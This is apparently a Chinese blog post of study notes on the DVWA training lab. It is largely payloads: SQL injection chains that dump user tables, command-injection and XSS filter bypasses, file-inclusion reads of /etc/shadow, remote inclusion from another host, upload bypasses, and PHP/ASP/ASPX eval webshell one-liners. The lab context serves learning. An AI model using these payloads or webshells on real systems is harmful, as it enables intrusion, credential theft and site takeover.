web安全之dvwa总结

为了学习web安全,决定从dvwa开始,dvwa的安装参考。

1、DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是:

  • Brute Force(暴力(破解))
  • Command Injection(命令行注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA (不安全的验证码)
  • SQL Injection(SQL注入)
  • SQL Injection(Blind)(SQL盲注)
  • XSS(Reflected)(反射型跨站脚本)
  • XSS(Stored)(存储型跨站脚本)

2、web安全总结

1.暴力破解


【1】bp暴力破解,手工sql注入
        1. Username:admin’ or ’1′=’1  
            Password:(空)
        2. Username :admin’ #
            Password :(空)

万能密码:'OR 1=1 OR '1'='1

2.命令执行


【1】127.0.0.1&&net user
【2】可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
漏洞利用:(1)127.0.0.1&net user(2)127.0.0.1&;&ipconfig
【3】黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”
漏洞利用:127.0.0.1|net user

3.CSRF


【1】http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
【2】检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
漏洞利用:
http://192.168.153.130/dvwa/192.168.153.130.html,页面被放置在攻击者的服务器里,这里是10.4.253.2)

4.文件包含
【1】http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow
【2】使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。
【3】High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

5.文件上传
【1】直接上传
【2】·文件包含利用:http://192.168.153.130/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.153.130/dvwa/hackable/uploads/hack.png
         ·修改文件类型,上传文件名为hack.png,文件类型为image/png,尝试修改filename为hack.php,此外还有00截断(bp修改.的2e为00)
         ·在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png
【3】首先利用copy将一句话木马文件php.php与图片文件1.jpg合并,生成的文件hack.jpg,顺利通过文件头检查,可以成功上传。

asp的一句话是:
<%eval request ("abin")%>
aspx的一句话是:
<%@ Page Language="Jscript"%> <%eval(Request.Item["abin"],"unsafe");%>
php的一句话是:
<?php @eval($_POST['abin']);?>

6.sql注入

 · 由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。
 · 因为单引号被转义了,变成了\’,可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
 · 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

6.1内联注入-->
【1】注入个数:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+order+by+1%23&Submit=Submit#
【2】注入点:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,2%23&Submit=Submit#
【3】数据库:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+database(),2%23&Submit=Submit#
【4】表:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&Submit=Submit#
【5】列:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,+group_concat(column_name)+from+information_schema.columns+where+table_name%3D%27users%27%23&Submit=Submit#
【6】值:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+group_concat(user_id,first_name,last_name),group_concat(user,password)+from+users%23&Submit=Submit#

另外的版本:

【1】表名:?id=1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- ss
【2】字段名: ?id=1 and 1=2 Union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1-- ss
【3】内容:字段内容: ?id=1 and 1=2 union select 1,id,flag from flag-- ss

6.2布尔注入-->
【1】看是否存在盲注漏洞:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D1+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D2+%23&Submit=Submit#
【2】猜数据库名长度:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(database())%3D1+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(database())%3D4+%23&Submit=Submit#
【3】猜测数据库名第一个字母:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3E97+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3C122+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3C101+%23&Submit=Submit#
ascii为100:d
同理,得到:dvwa
【4】猜表的个数:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%3D1+%23&submit=submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%3D2+%23&Submit=Submit#
表的个数为:2
【5】猜每个表的名字:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))%3D9+%23&Submit=Submit#
第一个表名长度为:9
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))<104+%23&Submit=Submit#
第一个表名第一个字母为:ascii(103)即g
同理,得到两个表名字为:guestbook、users
下面链接用于判断users表的第二个字母s
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),2,1))<115+%23&Submit=Submit#
【6】猜解字段名称:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+column_name+from+information_schema.columns+where+table_name=%27users%27+limit+0,1),1))%3D7+%23&Submit=Submit#
长度为:7
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))<117+%23&Submit=Submit#
第一个为ascii(117)即u
【7】猜解字段内容:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+user_id+from+users+limit+0,1),1))%3D1+%23&Submit=Submit#
user_id内容长度为:1
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+user_id+from+users+limit+0,1),1,1))>49+%23&Submit=Submit#
内容为:1
同理,测试出其他字段的值。

6.3时间延迟注入-->
判断是否存在注入:http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27%20and%20sleep(5)%20#&Submit=Submit#

【1】抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
【2】抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
【3】抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

6.4报错注入-->
【1】username=&password=' or exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or '
【2】username=&password=' or exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a)) or '

High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

【1】抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
【2】抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
【3】抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

7.xss(reflected)
【1】输入<script>alert(/xss/)</script>
【2】· 双写绕过,输入<sc<script>ript>alert(/xss/)</script>
         · 大小写混淆绕过,输入<ScRipt>alert(/xss/)</script>
【3】虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。输入<img src=1 onerror=alert(/xss/)>

8.xss(stored)
【1】输入<script>alert(/xss/)</script>,成功弹框.
【2】· 抓包改name参数为<sc<script>ript>alert(/xss/)</script>
         · 抓包改name参数为<Script>alert(/xss/)</script>
【3】使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签。抓包改name参数为<img src=1 onerror=alert(1)>

 

内容稍有凌乱,过段时间整理更详细的。

阅读更多
换一批

没有更多推荐了,返回首页